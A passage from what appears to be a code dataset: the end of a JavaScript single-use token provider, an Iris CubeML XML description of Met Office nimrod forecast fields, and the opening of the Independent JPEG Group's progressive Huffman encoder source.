long a token is valid for from it's creation in milliseconds.\n */\n constructor(SingleUseTokenModel, validity) {\n this.model = SingleUseTokenModel;\n this.validity = validity;\n }\n\n /**\n * @method create\n * Creates and stores a token, with the passed data associated with it.\n * Returns the created token value.\n *\n * @param {Object<string, any>} data\n *\n * @returns {Promise<string>}\n */\n async create(data) {\n const model = await this.model.add({\n data: JSON.stringify(data)\n });\n\n return model.get('token');\n }\n\n /**\n * @method validate\n * Validates a token, returning any parsable data associated.\n * If the token is invalid the returned Promise will reject.\n *\n * @param {string} token\n *\n * @returns {Promise<Object<string, any>>}\n */\n async validate(token) {\n const model = await this.model.findOne({token});\n\n if (!model) {\n throw new UnauthorizedError({\n message: 'Invalid token provided'\n });\n }\n\n const createdAtEpoch = model.get('created_at').getTime();\n\n const tokenLifetimeMilliseconds = Date.now() - createdAtEpoch;\n\n if (tokenLifetimeMilliseconds > this.validity) {\n throw new UnauthorizedError({\n message: 'Token expired'\n });\n }\n\n try {\n return JSON.parse(model.get('data'));\n } catch (err) {\n return {};\n }\n }\n}\n\nmodule.exports = SingleUseTokenProvider;\n"} {"text": "<?xml version=\"1.0\" ?>\n<cubes xmlns=\"urn:x-iris:cubeml-0.2\">\n <cube dtype=\"float32\" long_name=\"screen liquid water temp\" units=\"degC\">\n <attributes>\n <attribute name=\"field_code\" value=\"122\"/>\n <attribute name=\"institution\" value=\"Met Office\"/>\n <attribute name=\"nimrod_version\" value=\"2\"/>\n <attribute name=\"num_model_levels\" value=\"1\"/>\n <attribute name=\"source\" value=\"ek\"/>\n <attribute name=\"title\" value=\"Unknown\"/>\n </attributes>\n <coords>\n <coord>\n <dimCoord id=\"400234d7\" long_name=\"experiment_number\" points=\"[0]\" shape=\"(1,)\" units=\"Unit('1')\" value_type=\"int16\"/>\n </coord>\n <coord>\n <dimCoord id=\"b40ecfd3\" points=\"[7200]\" shape=\"(1,)\" standard_name=\"forecast_period\" units=\"Unit('second')\" value_type=\"int32\"/>\n </coord>\n <coord>\n <dimCoord id=\"201cc2ba\" points=\"[1580180400]\" shape=\"(1,)\" standard_name=\"forecast_reference_time\" units=\"Unit('seconds since 1970-01-01 00:00:00', calendar='gregorian')\" value_type=\"int64\"/>\n </coord>\n <coord>\n <dimCoord id=\"a2cbc1ea\" points=\"[1.65]\" shape=\"(1,)\" standard_name=\"height\" units=\"Unit('m')\" value_type=\"float32\">\n <attributes>\n <attribute name=\"positive\" value=\"up\"/>\n </attributes>\n </dimCoord>\n </coord>\n <coord datadims=\"[1]\">\n <dimCoord id=\"784eb7ff\" points=\"[102000.0, 104000.0, 106000.0]\" shape=\"(3,)\" standard_name=\"projection_x_coordinate\" units=\"Unit('m')\" value_type=\"float32\">\n <transverseMercator ellipsoid=\"GeogCS(semi_major_axis=6377563.396, semi_minor_axis=6356256.91)\" false_easting=\"400000.0\" false_northing=\"-100000.0\" latitude_of_projection_origin=\"49.0\" longitude_of_central_meridian=\"-2.0\" scale_factor_at_central_meridian=\"0.9996012717\"/>\n </dimCoord>\n </coord>\n <coord datadims=\"[0]\">\n <dimCoord id=\"1c8167bb\" points=\"[94000.0, 96000.0, 98000.0]\" shape=\"(3,)\" standard_name=\"projection_y_coordinate\" units=\"Unit('m')\" value_type=\"float32\">\n <transverseMercator ellipsoid=\"GeogCS(semi_major_axis=6377563.396, semi_minor_axis=6356256.91)\" false_easting=\"400000.0\" false_northing=\"-100000.0\" latitude_of_projection_origin=\"49.0\" longitude_of_central_meridian=\"-2.0\" scale_factor_at_central_meridian=\"0.9996012717\"/>\n </dimCoord>\n </coord>\n <coord>\n <dimCoord id=\"36e56a08\" points=\"[0]\" shape=\"(1,)\" standard_name=\"realization\" units=\"Unit('1')\" value_type=\"int32\"/>\n </coord>\n <coord>\n <dimCoord id=\"90a3bd1c\" points=\"[1580187600]\" shape=\"(1,)\" standard_name=\"time\" units=\"Unit('seconds since 1970-01-01 00:00:00', calendar='gregorian')\" value_type=\"int64\"/>\n </coord>\n </coords>\n <cellMethods/>\n <data checksum=\"0xca63c6dd\" dtype=\"float32\" shape=\"(3, 3)\"/>\n </cube>\n <cube dtype=\"float32\" long_name=\"screen total water\" units=\"g/kg\">\n <attributes>\n <attribute name=\"field_code\" value=\"133\"/>\n <attribute name=\"institution\" value=\"Met Office\"/>\n <attribute name=\"nimrod_version\" value=\"2\"/>\n <attribute name=\"num_model_levels\" value=\"1\"/>\n <attribute name=\"source\" value=\"ek\"/>\n <attribute name=\"title\" value=\"Unknown\"/>\n </attributes>\n <coords>\n <coord>\n <dimCoord id=\"400234d7\" long_name=\"experiment_number\" points=\"[0]\" shape=\"(1,)\" units=\"Unit('1')\" value_type=\"int16\"/>\n </coord>\n <coord>\n <dimCoord id=\"b40ecfd3\" points=\"[7200]\" shape=\"(1,)\" standard_name=\"forecast_period\" units=\"Unit('second')\" value_type=\"int32\"/>\n </coord>\n <coord>\n <dimCoord id=\"201cc2ba\" points=\"[1580180400]\" shape=\"(1,)\" standard_name=\"forecast_reference_time\" units=\"Unit('seconds since 1970-01-01 00:00:00', calendar='gregorian')\" value_type=\"int64\"/>\n </coord>\n <coord>\n <dimCoord id=\"a2cbc1ea\" points=\"[1.65]\" shape=\"(1,)\" standard_name=\"height\" units=\"Unit('m')\" value_type=\"float32\">\n <attributes>\n <attribute name=\"positive\" value=\"up\"/>\n </attributes>\n </dimCoord>\n </coord>\n <coord datadims=\"[1]\">\n <dimCoord id=\"784eb7ff\" points=\"[102000.0, 104000.0, 106000.0]\" shape=\"(3,)\" standard_name=\"projection_x_coordinate\" units=\"Unit('m')\" value_type=\"float32\">\n <transverseMercator ellipsoid=\"GeogCS(semi_major_axis=6377563.396, semi_minor_axis=6356256.91)\" false_easting=\"400000.0\" false_northing=\"-100000.0\" latitude_of_projection_origin=\"49.0\" longitude_of_central_meridian=\"-2.0\" scale_factor_at_central_meridian=\"0.9996012717\"/>\n </dimCoord>\n </coord>\n <coord datadims=\"[0]\">\n <dimCoord id=\"1c8167bb\" points=\"[94000.0, 96000.0, 98000.0]\" shape=\"(3,)\" standard_name=\"projection_y_coordinate\" units=\"Unit('m')\" value_type=\"float32\">\n <transverseMercator ellipsoid=\"GeogCS(semi_major_axis=6377563.396, semi_minor_axis=6356256.91)\" false_easting=\"400000.0\" false_northing=\"-100000.0\" latitude_of_projection_origin=\"49.0\" longitude_of_central_meridian=\"-2.0\" scale_factor_at_central_meridian=\"0.9996012717\"/>\n </dimCoord>\n </coord>\n <coord>\n <dimCoord id=\"36e56a08\" points=\"[0]\" shape=\"(1,)\" standard_name=\"realization\" units=\"Unit('1')\" value_type=\"int32\"/>\n </coord>\n <coord>\n <dimCoord id=\"90a3bd1c\" points=\"[1580187600]\" shape=\"(1,)\" standard_name=\"time\" units=\"Unit('seconds since 1970-01-01 00:00:00', calendar='gregorian')\" value_type=\"int64\"/>\n </coord>\n </coords>\n <cellMethods/>\n <data checksum=\"0xcc58f757\" dtype=\"float32\" shape=\"(3, 3)\"/>\n </cube>\n <cube dtype=\"float32\" long_name=\"screenaerosol\" units=\"ug/kg\">\n <attributes>\n <attribute name=\"field_code\" value=\"221\"/>\n <attribute name=\"institution\" value=\"Met Office\"/>\n <attribute name=\"nimrod_version\" value=\"2\"/>\n <attribute name=\"num_model_levels\" value=\"1\"/>\n <attribute name=\"source\" value=\"ek\"/>\n <attribute name=\"title\" value=\"Unknown\"/>\n </attributes>\n <coords>\n <coord>\n <dimCoord id=\"400234d7\" long_name=\"experiment_number\" points=\"[0]\" shape=\"(1,)\" units=\"Unit('1')\" value_type=\"int16\"/>\n </coord>\n <coord>\n <dimCoord id=\"b40ecfd3\" points=\"[7200]\" shape=\"(1,)\" standard_name=\"forecast_period\" units=\"Unit('second')\" value_type=\"int32\"/>\n </coord>\n <coord>\n <dimCoord id=\"201cc2ba\" points=\"[1580180400]\" shape=\"(1,)\" standard_name=\"forecast_reference_time\" units=\"Unit('seconds since 1970-01-01 00:00:00', calendar='gregorian')\" value_type=\"int64\"/>\n </coord>\n <coord>\n <dimCoord id=\"a2cbc1ea\" points=\"[1.65]\" shape=\"(1,)\" standard_name=\"height\" units=\"Unit('m')\" value_type=\"float32\">\n <attributes>\n <attribute name=\"positive\" value=\"up\"/>\n </attributes>\n </dimCoord>\n </coord>\n <coord datadims=\"[1]\">\n <dimCoord id=\"784eb7ff\" points=\"[102000.0, 104000.0, 106000.0]\" shape=\"(3,)\" standard_name=\"projection_x_coordinate\" units=\"Unit('m')\" value_type=\"float32\">\n <transverseMercator ellipsoid=\"GeogCS(semi_major_axis=6377563.396, semi_minor_axis=6356256.91)\" false_easting=\"400000.0\" false_northing=\"-100000.0\" latitude_of_projection_origin=\"49.0\" longitude_of_central_meridian=\"-2.0\" scale_factor_at_central_meridian=\"0.9996012717\"/>\n </dimCoord>\n </coord>\n <coord datadims=\"[0]\">\n <dimCoord id=\"1c8167bb\" points=\"[94000.0, 96000.0, 98000.0]\" shape=\"(3,)\" standard_name=\"projection_y_coordinate\" units=\"Unit('m')\" value_type=\"float32\">\n <transverseMercator ellipsoid=\"GeogCS(semi_major_axis=6377563.396, semi_minor_axis=6356256.91)\" false_easting=\"400000.0\" false_northing=\"-100000.0\" latitude_of_projection_origin=\"49.0\" longitude_of_central_meridian=\"-2.0\" scale_factor_at_central_meridian=\"0.9996012717\"/>\n </dimCoord>\n </coord>\n <coord>\n <dimCoord id=\"36e56a08\" points=\"[0]\" shape=\"(1,)\" standard_name=\"realization\" units=\"Unit('1')\" value_type=\"int32\"/>\n </coord>\n <coord>\n <dimCoord id=\"90a3bd1c\" points=\"[1580187600]\" shape=\"(1,)\" standard_name=\"time\" units=\"Unit('seconds since 1970-01-01 00:00:00', calendar='gregorian')\" value_type=\"int64\"/>\n </coord>\n </coords>\n <cellMethods/>\n <data checksum=\"0xf4dd2a7d\" dtype=\"float32\" shape=\"(3, 3)\"/>\n </cube>\n <cube dtype=\"float32\" long_name=\"Visibility\" units=\"m\">\n <attributes>\n <attribute name=\"field_code\" value=\"155\"/>\n <attribute name=\"institution\" value=\"Met Office\"/>\n <attribute name=\"nimrod_version\" value=\"2\"/>\n <attribute name=\"num_model_levels\" value=\"1\"/>\n <attribute name=\"source\" value=\"UM?\"/>\n <attribute name=\"title\" value=\"Unknown\"/>\n </attributes>\n <coords>\n <coord>\n <dimCoord id=\"400234d7\" long_name=\"experiment_number\" points=\"[0]\" shape=\"(1,)\" units=\"Unit('1')\" value_type=\"int16\"/>\n </coord>\n <coord>\n <dimCoord id=\"b40ecfd3\" points=\"[7200]\" shape=\"(1,)\" standard_name=\"forecast_period\" units=\"Unit('second')\" value_type=\"int32\"/>\n </coord>\n <coord>\n <dimCoord id=\"201cc2ba\" points=\"[1580180400]\" shape=\"(1,)\" standard_name=\"forecast_reference_time\" units=\"Unit('seconds since 1970-01-01 00:00:00', calendar='gregorian')\" value_type=\"int64\"/>\n </coord>\n <coord>\n <dimCoord id=\"a2cbc1ea\" points=\"[1.65]\" shape=\"(1,)\" standard_name=\"height\" units=\"Unit('m')\" value_type=\"float32\">\n <attributes>\n <attribute name=\"positive\" value=\"up\"/>\n </attributes>\n </dimCoord>\n </coord>\n <coord datadims=\"[1]\">\n <dimCoord id=\"784eb7ff\" points=\"[102000.0, 104000.0, 106000.0]\" shape=\"(3,)\" standard_name=\"projection_x_coordinate\" units=\"Unit('m')\" value_type=\"float32\">\n <transverseMercator ellipsoid=\"GeogCS(semi_major_axis=6377563.396, semi_minor_axis=6356256.91)\" false_easting=\"400000.0\" false_northing=\"-100000.0\" latitude_of_projection_origin=\"49.0\" longitude_of_central_meridian=\"-2.0\" scale_factor_at_central_meridian=\"0.9996012717\"/>\n </dimCoord>\n </coord>\n <coord datadims=\"[0]\">\n <dimCoord id=\"1c8167bb\" points=\"[94000.0, 96000.0, 98000.0]\" shape=\"(3,)\" standard_name=\"projection_y_coordinate\" units=\"Unit('m')\" value_type=\"float32\">\n <transverseMercator ellipsoid=\"GeogCS(semi_major_axis=6377563.396, semi_minor_axis=6356256.91)\" false_easting=\"400000.0\" false_northing=\"-100000.0\" latitude_of_projection_origin=\"49.0\" longitude_of_central_meridian=\"-2.0\" scale_factor_at_central_meridian=\"0.9996012717\"/>\n </dimCoord>\n </coord>\n <coord>\n <dimCoord id=\"36e56a08\" points=\"[0]\" shape=\"(1,)\" standard_name=\"realization\" units=\"Unit('1')\" value_type=\"int32\"/>\n </coord>\n <coord>\n <dimCoord id=\"90a3bd1c\" points=\"[1580187600]\" shape=\"(1,)\" standard_name=\"time\" units=\"Unit('seconds since 1970-01-01 00:00:00', calendar='gregorian')\" value_type=\"int64\"/>\n </coord>\n </coords>\n <cellMethods/>\n <data checksum=\"0x12433835\" dtype=\"float32\" shape=\"(3, 3)\"/>\n </cube>\n <cube dtype=\"float32\" long_name=\"Worst visibility in grid point\" units=\"m\">\n <attributes>\n <attribute name=\"field_code\" value=\"156\"/>\n <attribute name=\"institution\" value=\"Met Office\"/>\n <attribute name=\"nimrod_version\" value=\"2\"/>\n <attribute name=\"num_model_levels\" value=\"1\"/>\n <attribute name=\"source\" value=\"UM?\"/>\n <attribute name=\"title\" value=\"Unknown\"/>\n </attributes>\n <coords>\n <coord>\n <dimCoord id=\"400234d7\" long_name=\"experiment_number\" points=\"[0]\" shape=\"(1,)\" units=\"Unit('1')\" value_type=\"int16\"/>\n </coord>\n <coord>\n <dimCoord id=\"b40ecfd3\" points=\"[7200]\" shape=\"(1,)\" standard_name=\"forecast_period\" units=\"Unit('second')\" value_type=\"int32\"/>\n </coord>\n <coord>\n <dimCoord id=\"201cc2ba\" points=\"[1580180400]\" shape=\"(1,)\" standard_name=\"forecast_reference_time\" units=\"Unit('seconds since 1970-01-01 00:00:00', calendar='gregorian')\" value_type=\"int64\"/>\n </coord>\n <coord>\n <dimCoord id=\"a2cbc1ea\" points=\"[1.65]\" shape=\"(1,)\" standard_name=\"height\" units=\"Unit('m')\" value_type=\"float32\">\n <attributes>\n <attribute name=\"positive\" value=\"up\"/>\n </attributes>\n </dimCoord>\n </coord>\n <coord datadims=\"[1]\">\n <dimCoord id=\"784eb7ff\" points=\"[102000.0, 104000.0, 106000.0]\" shape=\"(3,)\" standard_name=\"projection_x_coordinate\" units=\"Unit('m')\" value_type=\"float32\">\n <transverseMercator ellipsoid=\"GeogCS(semi_major_axis=6377563.396, semi_minor_axis=6356256.91)\" false_easting=\"400000.0\" false_northing=\"-100000.0\" latitude_of_projection_origin=\"49.0\" longitude_of_central_meridian=\"-2.0\" scale_factor_at_central_meridian=\"0.9996012717\"/>\n </dimCoord>\n </coord>\n <coord datadims=\"[0]\">\n <dimCoord id=\"1c8167bb\" points=\"[94000.0, 96000.0, 98000.0]\" shape=\"(3,)\" standard_name=\"projection_y_coordinate\" units=\"Unit('m')\" value_type=\"float32\">\n <transverseMercator ellipsoid=\"GeogCS(semi_major_axis=6377563.396, semi_minor_axis=6356256.91)\" false_easting=\"400000.0\" false_northing=\"-100000.0\" latitude_of_projection_origin=\"49.0\" longitude_of_central_meridian=\"-2.0\" scale_factor_at_central_meridian=\"0.9996012717\"/>\n </dimCoord>\n </coord>\n <coord>\n <dimCoord id=\"36e56a08\" points=\"[0]\" shape=\"(1,)\" standard_name=\"realization\" units=\"Unit('1')\" value_type=\"int32\"/>\n </coord>\n <coord>\n <dimCoord id=\"90a3bd1c\" points=\"[1580187600]\" shape=\"(1,)\" standard_name=\"time\" units=\"Unit('seconds since 1970-01-01 00:00:00', calendar='gregorian')\" value_type=\"int64\"/>\n </coord>\n </coords>\n <cellMethods/>\n <data checksum=\"0x6630fd5e\" dtype=\"float32\" shape=\"(3, 3)\"/>\n </cube>\n</cubes>\n"} {"text": "/*\n * jcphuff.c\n *\n * Copyright (C) 1995-1998, Thomas G. Lane.\n * This file is part of the Independent JPEG Group's software.\n * For conditions of distribution and use, see the accompanying README file.\n *\n * This file contains Huffman entropy encoding routines for progressive JPEG.\n *\n * We do not support output suspension in this module, since the library\n * currently does not allow multiple-scan files to be written with output\n * suspension.\n */\n\n#define JPEG_INTERNALS\n#include \"jinclude8.h\"\n#include \"jpeglib8.h\"\n#include \"jlossy8.h\"\t\t/* Private declarations for lossy codec */\n#include \"jchuff8.h\"\t\t/* Declarations shared with jc*huff.c */\n\n#ifdef C_PROGRESSIVE_SUPPORTED\n\n/* Expanded entropy encoder object for progressive Huffman encoding. */\n\ntypedef struct {\n /* Mode flag: TRUE for optimization, FALSE for actual data output */\n boolean gather_statistics;\n\n /* Bit-level coding status.\n * next_output_byte/free_in_buffer are local copies of cinfo->dest fields.\n */\n JOCTET * next_output_byte;\t/* => next byte to write in buffer */\n size_t free_in_buffer;\t/* # of byte spaces remaining in buffer */\n IJG_INT32 put_buffer;\t\t/* current bit-accumulation buffer */\n int put_bits;\t\t\t/* # of bits now in it */\n j_compress_ptr cinfo;\t\t/* link to cinfo (needed for dump_buffer) */\n\n /* Coding status for DC components */\n int last_dc_val[MAX_COMPS_IN_SCAN]; /* last DC coef for each component */\n\n /* Coding status for AC components */\n int ac_tbl_no;\t\t/* the table number of the single component */\n unsigned int EOBRUN;\t\t/* run length of EOBs */\n unsigned int BE;\t\t/* # of buffered correction bits before MCU */\n char * bit_buffer;\t\t/* buffer for correction bits (1 per char) */\n /* packing correction bits tightly would save some space but cost time... */\n\n unsigned int restarts_to_go;\t/* MCUs left in this restart interval */\n int next_restart_num;\t\t/* next restart number to write (0-7) */\n\n /* Pointers to derived tables (these workspaces have image lifespan).\n * Since any one scan codes only DC or only AC, we only need one set\n * of tables, not one for DC and one for AC.\n */\n c_derived_tbl * derived_tbls[NUM_HUFF_TBLS];\n\n /* Statistics tables for optimization; again, one set is enough */\n long * count_ptrs[NUM_HUFF_TBLS];\n} phuff_entropy_encoder;\n\ntypedef phuff_entropy_encoder * phuff_entropy_ptr;\n\n/* MAX_CORR_BITS is the number of bits the AC refinement correction-bit\n * buffer can hold. Larger sizes may slightly improve compression, but\n * 1000 is already well into the realm of overkill.\n * The minimum safe size is 64 bits.\n */\n\n#define MAX_CORR_BITS 1000\t/* Max # of correction bits I can buffer */\n\n/* IRIGHT_SHIFT is like RIGHT_SHIFT, but works on int rather than IJG_INT32.\n * We assume that int right shift is unsigned if IJG_INT32 right shift is,\n * which should be safe.\n */\n\n#ifdef RIGHT_SHIFT_IS_UNSIGNED\n#define ISHIFT_TEMPS\tint ishift_temp;\n#define IRIGHT_SHIFT(x,shft) \\\n\t((ishift_temp = (x)) < 0 ? \\\n\t (ishift_temp >> (shft)) | ((~0) << (16-(shft))) : \\\n\t (ishift_temp >> (shft)))\n#else\n#define ISHIFT_TEMPS\n#define IRIGHT_SHIFT(x,shft)\t((x) >> (shft))\n#endif\n\n/* Forward declarations */\nMETHODDEF(boolean) encode_mcu_DC_first JPP((j_compress_ptr cinfo,\n\t\t\t\t\t JBLOCKROW *MCU_data));\nMETHODDEF(boolean) encode_mcu_AC_first JPP((j_compress_ptr cinfo,\n\t\t\t\t\t JBLOCKROW *MCU_data));\nMETHODDEF(boolean) encode_mcu_DC_refine JPP((j_compress_ptr cinfo,\n\t\t\t\t\t JBLOCKROW *MCU_data));\nMETHODDEF(boolean) encode_mcu_AC_refine JPP((j_compress_ptr cinfo,\n\t\t\t\t\t JBLOCKROW *MCU_data));\nMETHODDEF(void) finish_pass_phuff JPP((j_compress_ptr cinfo));\nMETHODDEF(void) finish_pass_gather_phuff JPP((j_compress_ptr cinfo));\n\n\n/*\n * Initialize for a Huffman-compressed scan using progressive JPEG.\n */\n\nMETHODDEF(void)\nstart_pass_phuff (j_compress_ptr cinfo, boolean gather_statistics)\n{ \n j_lossy_c_ptr lossyc = (j_lossy_c_ptr) cinfo->codec;\n phuff_entropy_ptr entropy = (phuff_entropy_ptr) lossyc->entropy_private;\n boolean is_DC_band;\n int ci, tbl;\n jpeg_component_info * compptr;\n\n entropy->cinfo = cinfo;\n entropy->gather_statistics = gather_statistics;\n\n is_DC_band = (cinfo->Ss == 0);\n\n /* We assume jcmaster.c already validated the scan parameters. */\n\n /* Select execution routines */\n if (cinfo->Ah == 0) {\n if (is_DC_band)\n lossyc->entropy_encode_mcu = encode_mcu_DC_first;\n else\n lossyc->entropy_encode_mcu = encode_mcu_AC_first;\n } else {\n if (is_DC_band)\n lossyc->entropy_encode_mcu = encode_mcu_DC_refine;\n else {\n lossyc->entropy_encode_mcu = encode_mcu_AC_refine;\n /* AC refinement needs a correction bit buffer */\n if (entropy->bit_buffer == NULL)\n\tentropy->bit_buffer = (char *)\n\t (*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,\n\t\t\t\t MAX_CORR_BITS * SIZEOF(char));\n }\n }\n if (gather_statistics)\n lossyc->pub.entropy_finish_pass = finish_pass_gather_phuff;\n else\n lossyc->pub.entropy_finish_pass = finish_pass_phuff;\n\n /* Only DC coefficients may be interleaved, so cinfo->comps_in_scan = 1\n * for AC coefficients.\n */\n for (ci = 0; ci < cinfo->comps_in_scan; ci++) {\n compptr = cinfo->cur_comp_info[ci];\n /* Initialize DC predictions to 0 */\n entropy->last_dc_val[ci] = 0;\n /* Get table index */\n if (is_DC_band) {\n if (cinfo->Ah != 0)\t/* DC refinement needs no table */\n\tcontinue;\n tbl = compptr->dc_tbl_no;\n } else {\n entropy->ac_tbl_no = tbl = compptr->ac_tbl_no;\n }\n if (gather_statistics) {\n /* Check for invalid table index */\n /* (make_c_derived_tbl does this in the other path) */\n if (tbl < 0 || tbl >= NUM_HUFF_TBLS)\n ERREXIT1(cinfo, JERR_NO_HUFF_TABLE, tbl);\n /* Allocate and zero the statistics tables */\n /* Note that jpeg_gen_optimal_table expects 257 entries in each table! */\n if (entropy->count_ptrs[tbl] == NULL)\n\tentropy->count_ptrs[tbl] = (long *)\n\t (*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,\n\t\t\t\t 257 * SIZEOF(long));\n MEMZERO(entropy->count_ptrs[tbl], 257 * SIZEOF(long));\n } else {\n /* Compute derived values for Huffman table */\n /* We may do this more than once for a table, but it's not expensive */\n jpeg_make_c_derived_tbl(cinfo, is_DC_band, tbl,\n\t\t\t & entropy->derived_tbls[tbl]);\n }\n }\n\n /* Initialize AC stuff */\n entropy->EOBRUN = 0;\n entropy->BE = 0;\n\n /* Initialize bit buffer to empty */\n entropy->put_buffer = 0;\n entropy->put_bits = 0;\n\n /* Initialize restart stuff */\n entropy->restarts_to_go = cinfo->restart_interval;\n entropy->next_restart_num = 0;\n}\n\n\n/* Outputting bytes to the file.\n * NB: these must be called only when actually outputting,\n * that is, entropy->gather_statistics == FALSE.\n */\n\n/* Emit a byte */\n#define emit_byte(entropy,val) \\\n\t{ *(entropy)->next_output_byte++ = (JOCTET) (val); \\\n\t if (--(entropy)->free_in_buffer == 0) \\\n\t dump_buffer(entropy); }\n\n\nLOCAL(void)\ndump_buffer (phuff_entropy_ptr entropy)\n/* Empty the output buffer; we do not support suspension in this module. */\n{\n struct jpeg_destination_mgr * dest = entropy->cinfo->dest;\n\n if (! (*dest->empty_output_buffer) (entropy->cinfo))\n ERREXIT(entropy->cinfo, JERR_CANT_SUSPEND);\n /* After a successful buffer dump, must reset buffer pointers */\n entropy->next_output_byte = dest->next_output_byte;\n entropy->free_in_buffer = dest->free_in_buffer;\n}\n\n\n/* Outputting bits to the file */\n\n/* Only the right 24 bits of put_buffer are used; the valid bits are\n * left-justified in this part. At most 16 bits can be passed to emit_bits\n * in one call, and we never retain more than 7 bits in put_buffer\n * between calls, so 24 bits are sufficient.\n */\n\nINLINE\nLOCAL(void)\nemit_bits (phuff_entropy_ptr entropy, unsigned int code, int size)\n/* Emit some bits, unless we are in gather mode */\n{\n /* This routine is heavily used, so it's worth coding tightly. */\n register IJG_INT32 put_buffer = (IJG_INT32) code;\n register int put_bits = entropy->put_bits;\n\n /* if size is 0, caller used an invalid Huffman table entry */\n if (size == 0)\n ERREXIT(entropy->cinfo, JERR_HUFF_MISSING_CODE);\n\n if (entropy->gather_statistics)\n return;\t\t\t/* do nothing if we're only getting stats */\n\n put_buffer &= (((IJG_INT32) 1)<<size) - 1; /* mask off any extra bits in code */\n \n put_bits += size;\t\t/* new number of bits in buffer */\n \n put_buffer <<= 24 - put_bits; /* align incoming bits */\n\n put_buffer |= entropy->put_buffer; /* and merge with old buffer contents */\n\n while (put_bits >= 8) {\n int c = (int) ((put_buffer >> 16) & 0xFF);\n \n emit_byte(entropy, c);\n if (c == 0xFF) {\t\t/* need to stuff a zero byte? */\n emit_byte(entropy, 0);\n }\n put_buffer <<= 8;\n put_bits -= 8;\n }\n\n entropy->put_buffer = put_buffer; /* update variables */\n entropy->put_bits = put_bits;\n}\n\n\nLOCAL(void)\nflush_bits (phuff_entropy_ptr entropy)\n{\n emit_bits(entropy, 0x7F, 7); /* fill any partial byte with ones */\n entropy->put_buffer = 0; /* and reset bit-buffer to empty */\n entropy->put_bits = 0;\n}\n\n\n/*\n * Emit (or just count) a Huffman symbol.\n */\n\nINLINE\nLOCAL(void)\nemit_symbol (phuff_entropy_ptr entropy, int tbl_no, int symbol)\n{\n if (entropy->gather_statistics)\n entropy->count_ptrs[tbl_no][symbol]++;\n else {\n c_derived_tbl * tbl = entropy->derived_tbls[tbl_no];\n emit_bits(entropy, tbl->ehufco[symbol], tbl->ehufsi[symbol]);\n }\n}\n\n\n/*\n * Emit bits from a correction bit buffer.\n */\n\nLOCAL(void)\nemit_buffered_bits (phuff_entropy_ptr entropy, char * bufstart,\n\t\t unsigned int nbits)\n{\n if (entropy->gather_statistics)\n return;\t\t\t/* no real work */\n\n while (nbits > 0) {\n emit_bits(entropy, (unsigned int) (*bufstart), 1);\n bufstart++;\n nbits--;\n }\n}\n\n\n/*\n * Emit any pending EOBRUN symbol.\n */\n\nLOCAL(void)\nemit_eobrun (phuff_entropy_ptr entropy)\n{\n register int temp, nbits;\n\n if (entropy->EOBRUN > 0) {\t/* if there is any pending EOBRUN */\n temp = entropy->EOBRUN;\n nbits = 0;\n while ((temp >>= 1))\n nbits++;\n /* safety check: shouldn't happen given limited correction-bit buffer */\n if (nbits > 14)\n ERREXIT(entropy->cinfo, JERR_HUFF_MISSING_CODE);\n\n emit_symbol(entropy, entropy->ac_tbl_no, nbits << 4);\n if (nbits)\n emit_bits(entropy, entropy->EOBRUN, nbits);\n\n entropy->EOBRUN = 0;\n\n /* Emit any buffered correction bits */\n emit_buffered_bits(entropy, entropy->bit_buffer, entropy->BE);\n entropy->BE = 0;\n }\n}\n\n\n/*\n * Emit a restart marker & resynchronize predictions.\n */\n\nLOCAL(void)\nemit_restart (phuff_entropy_ptr entropy, int restart_num)\n{\n int ci;\n\n emit_eobrun(entropy);\n\n if (! entropy->gather_statistics) {\n flush_bits(entropy);\n emit_byte(entropy, 0xFF);\n emit_byte(entropy, JPEG_RST0 + restart_num);\n }\n\n if (entropy->cinfo->Ss == 0) {\n /* Re-initialize DC predictions to 0 */\n for (ci = 0; ci < entropy->cinfo->comps_in_scan; ci++)\n entropy->last_dc_val[ci] = 0;\n } else {\n /* Re-initialize all AC-related fields to 0 */\n entropy->EOBRUN = 0;\n entropy->BE = 0;\n }\n}\n\n\n/*\n * MCU encoding for DC initial scan (either spectral selection,\n * or first pass of successive approximation).\n */\n\nMETHODDEF(boolean)\nencode_mcu_DC_first (j_compress_ptr cinfo, JBLOCKROW *MCU_data)\n{\n j_lossy_c_ptr lossyc = (j_lossy_c_ptr) cinfo->codec;\n phuff_entropy_ptr entropy = (phuff_entropy_ptr) lossyc->entropy_private;\n register int temp, temp2;\n register int nbits;\n int blkn, ci;\n int Al = cinfo->Al;\n JBLOCKROW block;\n jpeg_component_info * compptr;\n ISHIFT_TEMPS\n\n entropy->next_output_byte = cinfo->dest->next_output_byte;\n entropy->free_in_buffer = cinfo->dest->free_in_buffer;\n\n /* Emit restart marker if needed */\n if (cinfo->restart_interval)\n if (entropy->restarts_to_go == 0)\n emit_restart(entropy, entropy->next_restart_num);\n\n /* Encode the MCU data blocks */\n for (blkn = 0; blkn < cinfo->data_units_in_MCU; blkn++) {\n block = MCU_data[blkn];\n ci = cinfo->MCU_membership[blkn];\n compptr = cinfo->cur_comp_info[ci];\n\n /* Compute the DC value after the required point transform by Al.\n * This is simply an arithmetic right shift.\n */\n temp2 = IRIGHT_SHIFT((int) ((*block)[0]), Al);\n\n /* DC differences are figured on the point-transformed values. */\n temp = temp2 - entropy->last_dc_val[ci];\n entropy->last_dc_val[ci] = temp2;\n\n /* Encode the DC coefficient difference per section G.1.2.1 */\n temp2 = temp;\n if (temp < 0) {\n temp = -temp;\t\t/* temp is abs value of input */\n /* For a negative input, want temp2 = bitwise complement of abs(input) */\n /* This code assumes we are on a two's complement machine */\n temp2--;\n }\n \n /* Find the number of bits needed for the magnitude of the coefficient */\n nbits = 0;\n while (temp) {\n nbits++;\n temp >>= 1;\n }\n /* Check for out-of-range coefficient values.\n * Since we're encoding a difference, the range limit is twice as much.\n */\n if (nbits > MAX_COEF_BITS+1)\n ERREXIT(cinfo, JERR_BAD_DCT_COEF);\n \n /* Count/emit the Huffman-coded symbol for the number of bits */\n emit_symbol(entropy, compptr->dc_tbl_no, nbits);\n \n /* Emit that number of bits of the value, if positive, */\n /* or the complement of its magnitude, if negative. */\n if (nbits)\t\t\t/* emit_bits rejects calls with size 0 */\n emit_bits(entropy, (unsigned int) temp2, nbits);\n }\n\n cinfo->dest->next_output_byte = entropy->next_output_byte;\n cinfo->dest->free_in_buffer = entropy->free_in_buffer;\n\n /* Update restart-interval state too */\n if (cinfo->restart_interval) {\n if (entropy->restarts_to_go == 0) {\n entropy->restarts_to_go = cinfo->restart_interval;\n entropy->next_restart_num++;\n entropy->next_restart_num &= 7;\n 